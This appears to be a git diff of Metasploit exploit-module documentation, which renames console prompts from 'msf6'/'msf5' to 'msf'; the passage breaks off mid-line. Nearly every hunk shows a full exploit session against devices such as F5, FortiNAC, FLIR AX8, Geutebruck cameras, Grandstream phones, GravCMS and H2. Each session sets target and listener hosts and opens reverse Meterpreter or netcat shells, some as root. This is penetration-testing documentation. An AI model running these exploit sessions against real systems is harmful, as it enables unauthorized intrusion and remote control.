exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622 +msf > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162 TARGET_HOST => 10.0.0.162 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 1 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 1 TARGET => 1 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below [*] Using URL: http://10.0.0.179:8080/ePg5ECHuVD @@ -180,21 +180,21 @@ Server username: root Once again, set up the server: ``` -msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622 +msf > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162 TARGET_HOST => 10.0.0.162 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 2 +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 2 TARGET => 2 -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set FILENAME /tmp/testmsfmodule +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set FILENAME /tmp/testmsfmodule FILENAME => /tmp/testmsfmodule -msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit +msf exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below [*] Using URL: http://10.0.0.179:8080/PLvOVjkiVvXX diff --git a/documentation/modules/exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061.md b/documentation/modules/exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061.md index a213601a9da5f..a234a4c7c6004 100644 --- a/documentation/modules/exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061.md +++ b/documentation/modules/exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061.md @@ -40,9 +40,9 @@ No specific options. ### FLIR AX8 netcat reverse shell ``` -msf6 > use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061 +msf > use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061 [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > options +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > options Module options (exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061): @@ -75,15 +75,15 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set rhosts 192.168.100.180 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lhost 192.168.100.7 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lport 4444 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set target 0 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set target 0 target => 0 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > exploit +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -104,9 +104,9 @@ exit ### FLIR AX8 meterpreter session ``` -msf6 > use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061 +msf > use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061 [*] Using configured payload linux/armle/meterpreter_reverse_tcp -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > options +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > options Module options (exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061): @@ -139,15 +139,15 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set rhosts 192.168.100.180 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lhost 192.168.100.7 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lport 4444 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set target 1 +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set target 1 target => 1 -msf6 exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > exploit +msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md b/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md index 9c7082f3ba4fb..026a164fba0b1 100644 --- a/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md +++ b/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md @@ -110,15 +110,15 @@ vulnerable instance of FortiNAC configured. ### FortiNAC 9.4.0 CMD Target ``` -msf6 > use exploit/linux/http/fortinac_keyupload_file_write +msf > use exploit/linux/http/fortinac_keyupload_file_write [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11 +msf exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11 rhosts => 192.168.123.11 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1 +msf exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044 +msf exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044 lport => 4044 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > run +msf exploit(linux/http/fortinac_keyupload_file_write) > run [*] Started reverse TCP handler on 192.168.123.1:4044 [*] Running automatic check ("set AutoCheck false" to disable) @@ -142,9 +142,9 @@ meterpreter > ### FortiNAC 9.4.0 Linux x64 Target ``` -msf6 > use exploit/linux/http/fortinac_keyupload_file_write +msf > use exploit/linux/http/fortinac_keyupload_file_write [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets +msf exploit(linux/http/fortinac_keyupload_file_write) > show targets Exploit targets: ================= @@ -156,17 +156,17 @@ Exploit targets: 2 Linux x64 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2 +msf exploit(linux/http/fortinac_keyupload_file_write) > set target 2 target => 2 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11 +msf exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11 rhosts => 192.168.123.11 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1 +msf exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909 +msf exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909 lport => 9909 -msf6 exploit(linux/http/fortinac_keyupload_file_write) > run +msf exploit(linux/http/fortinac_keyupload_file_write) > run [*] Started reverse TCP handler on 192.168.123.1:9909 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md b/documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md index 0e30496292a28..5e17bf7ed2e44 100644 --- a/documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md +++ b/documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md @@ -80,7 +80,7 @@ The SSH port to connect to (Default: `22`) This module has been tested successfully on FortiGate v7.2.0. ``` -msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > exploit +msf exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking XXX.XXX.XXX.XXX:443 diff --git a/documentation/modules/exploit/linux/http/froxlor_log_path_rce.md b/documentation/modules/exploit/linux/http/froxlor_log_path_rce.md index d4bd67d6365e1..9cf00936d87c6 100644 --- a/documentation/modules/exploit/linux/http/froxlor_log_path_rce.md +++ b/documentation/modules/exploit/linux/http/froxlor_log_path_rce.md @@ -53,19 +53,19 @@ default options assumes Froxlor is installed on an Ubuntu machine: **Default: /v ## Scenarios ### Ubuntu 20.04, Froxlor 2.0.3 running on Apache, MySQL and PHP 8.1 ``` -msf6 > use exploit/linux/http/froxlor_log_path_rce +msf > use exploit/linux/http/froxlor_log_path_rce [*] Using exploit/linux/http/froxlor_log_path_rce -msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140 +msf exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140 rhosts => 172.16.199.140 -msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1 +msf exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191 +msf exploit(linux/http/froxlor_log_path_rce) > set lport 9191 lport => 9191 -msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin +msf exploit(linux/http/froxlor_log_path_rce) > set username admin username => admin -msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword +msf exploit(linux/http/froxlor_log_path_rce) > set password notpassword password => notpassword -msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit +msf exploit(linux/http/froxlor_log_path_rce) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:9191 diff --git a/documentation/modules/exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx.md b/documentation/modules/exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx.md index a80214aca80e3..a1c6c423e9e74 100644 --- a/documentation/modules/exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx.md +++ b/documentation/modules/exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx.md @@ -52,13 +52,13 @@ at https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/. ## Scenarios ### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.0.27. ``` -msf6 > use exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx +msf > use exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx [*] Using configured payload cmd/unix/reverse_netcat_gaping -msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > set lhost 192.168.14.1 +msf exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > set lhost 192.168.14.1 lhost => 192.168.14.1 -msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > set rhosts 192.168.14.58 +msf exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > set rhosts 192.168.14.58 rhosts => 192.168.14.58 -msf6 exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > exploit +msf exploit(linux/http/geutebruck_cmdinject_cve_2021_335xx) > exploit [*] Started reverse TCP handler on 192.168.14.1:4444 [*] 192.168.14.58:80 - Setting up request... [*] Sending CMD injection request to 192.168.14.58:80 @@ -70,4 +70,4 @@ id uid=0(root) gid=0(root) uname -a Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/http/geutebruck_instantrec_bof.md b/documentation/modules/exploit/linux/http/geutebruck_instantrec_bof.md index 985bb81e099fc..1469edbeff0df 100644 --- a/documentation/modules/exploit/linux/http/geutebruck_instantrec_bof.md +++ b/documentation/modules/exploit/linux/http/geutebruck_instantrec_bof.md @@ -46,13 +46,13 @@ Users can find additional details of this vulnerability on the blogpost page at ## Scenarios ### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.0.27. ``` -msf6 > use exploit/linux/http/geutebruck_instantrec_bof +msf > use exploit/linux/http/geutebruck_instantrec_bof [*] Using configured payload cmd/unix/reverse_netcat_gaping -msf6 exploit(linux/http/geutebruck_instantrec_bof) > set lhost 192.168.14.1 +msf exploit(linux/http/geutebruck_instantrec_bof) > set lhost 192.168.14.1 lhost => 192.168.14.1 -msf6 exploit(linux/http/geutebruck_instantrec_bof) > set rhosts 192.168.14.58 +msf exploit(linux/http/geutebruck_instantrec_bof) > set rhosts 192.168.14.58 rhosts => 192.168.14.58 -msf6 exploit(linux/http/geutebruck_instantrec_bof) > exploit +msf exploit(linux/http/geutebruck_instantrec_bof) > exploit [*] Started reverse TCP handler on 192.168.14.1:4444 [*] 192.168.14.58:80 - Attempting to exploit... @@ -64,4 +64,4 @@ id uid=0(root) gid=0(root) uname -a Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/http/geutebruck_testaction_exec.md b/documentation/modules/exploit/linux/http/geutebruck_testaction_exec.md index 0ebb8d378d39d..8b41519f5dcf0 100644 --- a/documentation/modules/exploit/linux/http/geutebruck_testaction_exec.md +++ b/documentation/modules/exploit/linux/http/geutebruck_testaction_exec.md @@ -64,18 +64,18 @@ The password of the username used to authenticate on the admin page. **Default: ## Scenarios ### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5. ``` -msf5 > use exploit/linux/http/geutebruck_testaction_exec -msf5 exploit(linux/http/geutebruck_testaction_exec) > set payload cmd/unix/reverse_netcat_gaping +msf > use exploit/linux/http/geutebruck_testaction_exec +msf exploit(linux/http/geutebruck_testaction_exec) > set payload cmd/unix/reverse_netcat_gaping payload => cmd/unix/reverse_netcat_gaping -msf5 exploit(linux/http/geutebruck_testaction_exec) > set httpusername root +msf exploit(linux/http/geutebruck_testaction_exec) > set httpusername root httpusername => root -msf5 exploit(linux/http/geutebruck_testaction_exec) > set httppassword admin +msf exploit(linux/http/geutebruck_testaction_exec) > set httppassword admin httppassword => admin -msf5 exploit(linux/http/geutebruck_testaction_exec) > set lhost 192.168.14.1 +msf exploit(linux/http/geutebruck_testaction_exec) > set lhost 192.168.14.1 lhost => 192.168.14.1 -msf5 exploit(linux/http/geutebruck_testaction_exec) > set rhosts 192.168.14.58 +msf exploit(linux/http/geutebruck_testaction_exec) > set rhosts 192.168.14.58 rhosts => 192.168.14.58 -msf5 exploit(linux/http/geutebruck_testaction_exec) > exploit +msf exploit(linux/http/geutebruck_testaction_exec) > exploit [*] Started reverse TCP handler on 192.168.14.1:4444 [*] 192.168.14.58:80 - Attempting to exploit... diff --git a/documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md b/documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md index 04702c370baea..d044f7374357b 100644 --- a/documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md +++ b/documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md @@ -164,7 +164,7 @@ You are now ready to test the module using the emulated router hardware on IP ad You should get a `shell` or `Meterpreter`. ```shell -msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info +msf exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info Name: GL.iNet Unauthenticated Remote Command Execution via the logread module. Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445 @@ -265,9 +265,9 @@ The module will exploit and grab the `SID` autmatically, but you can also provid ## Scenarios ### FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat ```shell -msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0 +msf exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0 target => 0 -msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit +msf exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -287,9 +287,9 @@ exit ``` ### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp ```shell -msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1 +msf exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1 target => 1 -msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit +msf exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md b/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md index b6ea3225a3692..4df6fc4912b0a 100644 --- a/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md +++ b/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md @@ -61,7 +61,7 @@ No extra options to be set, but make sure the uripath is correct ### Using GLPI 9.5.9 running on Ubuntu 20.04.1 x64 #### Linux Dropper ``` -msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show options +msf exploit(linux/http/glpi_htmlawed_php_injection) > show options Module options (exploit/linux/http/glpi_htmlawed_php_injection): @@ -91,7 +91,7 @@ Exploit target: 1 Linux (Dropper) -msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run +msf exploit(linux/http/glpi_htmlawed_php_injection) > run [*] Started reverse TCP handler on 10.5.135.109:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -119,11 +119,11 @@ meterpreter > exit #### Unix Command ``` [*] 10.5.132.190 - Meterpreter session 4 closed. Reason: Died -smsf6 exploit(linux/http/glpi_htmlawed_php_injection) > set target 0 +smsf exploit(linux/http/glpi_htmlawed_php_injection) > set target 0 target => 0 -msf6 exploit(linux/http/glpi_htmlawed_php_injection) > set payload cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/glpi_htmlawed_php_injection) > set payload cmd/unix/python/meterpreter/reverse_tcp payload => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run +msf exploit(linux/http/glpi_htmlawed_php_injection) > run [*] Started reverse TCP handler on 10.5.135.109:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.md b/documentation/modules/exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.md index 97f18a6347c36..8155437c17383 100644 --- a/documentation/modules/exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.md @@ -29,11 +29,11 @@ This module was tested successfully on Grandstream models: ### Grandstream GXV3140 ``` -msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec +msf > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec [*] Using configured payload linux/armle/meterpreter_reverse_tcp -msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.111 +msf exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.111 rhosts => 10.1.1.111 -msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run +msf exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run [*] Started bind TCP handler against 10.1.1.111:4444 [*] Command shell session 1 opened (10.1.1.112:36769 -> 10.1.1.111:4444 ) at 2022-01-29 02:30:13 -0500 @@ -54,15 +54,15 @@ Linux gxv3140_000b8229ac36 2.6.10_gxv31xx #15 Tue Jul 16 11:07:04 CDT 2013 armv5 ### Grandstream GXV3175v2 ``` -msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec +msf > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec [*] Using configured payload linux/armle/meterpreter_reverse_tcp -msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109 +msf exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109 rhosts => 10.1.1.109 -msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110 +msf exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110 lhost => 10.1.1.110 -msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set target 1 +msf exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set target 1 target => 1 -msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run +msf exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run [*] Started reverse TCP handler on 10.1.1.110:4444 [*] Using URL: http://0.0.0.0:8080/JF62dexHKN8b diff --git a/documentation/modules/exploit/linux/http/grandstream_ucm62xx_sendemail_rce.md b/documentation/modules/exploit/linux/http/grandstream_ucm62xx_sendemail_rce.md index 2a52483dd80a2..ac22f428a588f 100644 --- a/documentation/modules/exploit/linux/http/grandstream_ucm62xx_sendemail_rce.md +++ b/documentation/modules/exploit/linux/http/grandstream_ucm62xx_sendemail_rce.md @@ -61,18 +61,18 @@ Specifies base URI. The default value is `/`. ### Grandstream UCM6202 IP PBX firmware version 1.0.18.13. Get Meterpreter session. ``` -msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce +msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce [*] Using configured payload linux/armle/meterpreter/reverse_tcp -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9 +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9 RHOST => 10.0.0.9 -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > check +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > check [*] Requesting version information from /cgi [*] The reported version is: 1.0.18.13 [*] 10.0.0.9:8089 - The target appears to be vulnerable. This determination is based on the version string. -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3 +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3 LHOST => 10.0.0.3 -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run [*] Started reverse TCP handler on 10.0.0.3:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -120,15 +120,15 @@ Serial : 1126b9d4eacb275c ### Grandstream UCM6202 IP PBX firmware version 1.0.18.13. Get reverse shell using netcat. ``` -msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce +msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce [*] Using configured payload linux/armle/meterpreter/reverse_tcp -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set target 0 +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set target 0 target => 0 -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9 +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9 RHOST => 10.0.0.9 -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3 +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3 LHOST => 10.0.0.3 -msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run +msf exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run [*] Started reverse TCP handler on 10.0.0.3:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/gravcms_exec.md b/documentation/modules/exploit/linux/http/gravcms_exec.md index bfca8a94ead39..02a1675e7153a 100644 --- a/documentation/modules/exploit/linux/http/gravcms_exec.md +++ b/documentation/modules/exploit/linux/http/gravcms_exec.md @@ -51,14 +51,14 @@ The base path to GravCMS. The default value is `/`. ## Scenarios ``` -msf6 > -msf6 > use exploit/linux/http/gravcms_exec +msf > +msf > use exploit/linux/http/gravcms_exec [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(linux/http/gravcms_exec) > set RHOSTS 192.168.179.131 +msf exploit(linux/http/gravcms_exec) > set RHOSTS 192.168.179.131 RHOSTS => 192.168.179.131 -msf6 exploit(linux/http/gravcms_exec) > set LHOST 172.26.253.227 +msf exploit(linux/http/gravcms_exec) > set LHOST 172.26.253.227 LHOST => 172.26.253.227 -msf6 exploit(linux/http/gravcms_exec) > options +msf exploit(linux/http/gravcms_exec) > options Module options (exploit/linux/http/gravcms_exec): @@ -86,9 +86,9 @@ Exploit target: -- ---- 0 Automatic -msf6 exploit(linux/http/gravcms_exec) > check +msf exploit(linux/http/gravcms_exec) > check [*] 192.168.179.131:80 - The target appears to be vulnerable. -msf6 exploit(linux/http/gravcms_exec) > run +msf exploit(linux/http/gravcms_exec) > run [*] Started reverse TCP handler on 172.26.253.227:4444 [*] Sending request to the admin path to generate cookie and token diff --git a/documentation/modules/exploit/linux/http/h2_webinterface_rce.md b/documentation/modules/exploit/linux/http/h2_webinterface_rce.md index 3bbaa49f1bfd3..365557e6ca616 100644 --- a/documentation/modules/exploit/linux/http/h2_webinterface_rce.md +++ b/documentation/modules/exploit/linux/http/h2_webinterface_rce.md @@ -45,19 +45,19 @@ Will retrieve the version of the server. Most likely only works on 2.0.0+. Defau ### H2 Version 2.1.214 from Docker ``` -msf6 > use exploit/linux/http/h2_webinterface_rce +msf > use exploit/linux/http/h2_webinterface_rce [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/h2_webinterface_rce) > set rhosts 127.0.0.1 +msf exploit(linux/http/h2_webinterface_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/h2_webinterface_rce) > set rport 81 +msf exploit(linux/http/h2_webinterface_rce) > set rport 81 rport => 81 -msf6 exploit(linux/http/h2_webinterface_rce) > set verbose true +msf exploit(linux/http/h2_webinterface_rce) > set verbose true verbose => true -msf6 exploit(linux/http/h2_webinterface_rce) > set lhost 111.111.11.111 +msf exploit(linux/http/h2_webinterface_rce) > set lhost 111.111.11.111 lhost => 111.111.11.111 -msf6 exploit(linux/http/h2_webinterface_rce) > set srvhost 111.111.11.111 +msf exploit(linux/http/h2_webinterface_rce) > set srvhost 111.111.11.111 srvhost => 111.111.11.111 -msf6 exploit(linux/http/h2_webinterface_rce) > exploit +msf exploit(linux/http/h2_webinterface_rce) > exploit [*] Started reverse TCP handler on 111.111.11.111:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md index 546470dca1ab1..851219dc0637d 100644 --- a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md +++ b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md @@ -34,8 +34,8 @@ Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up ## Scenarios ``` -msf5 > use 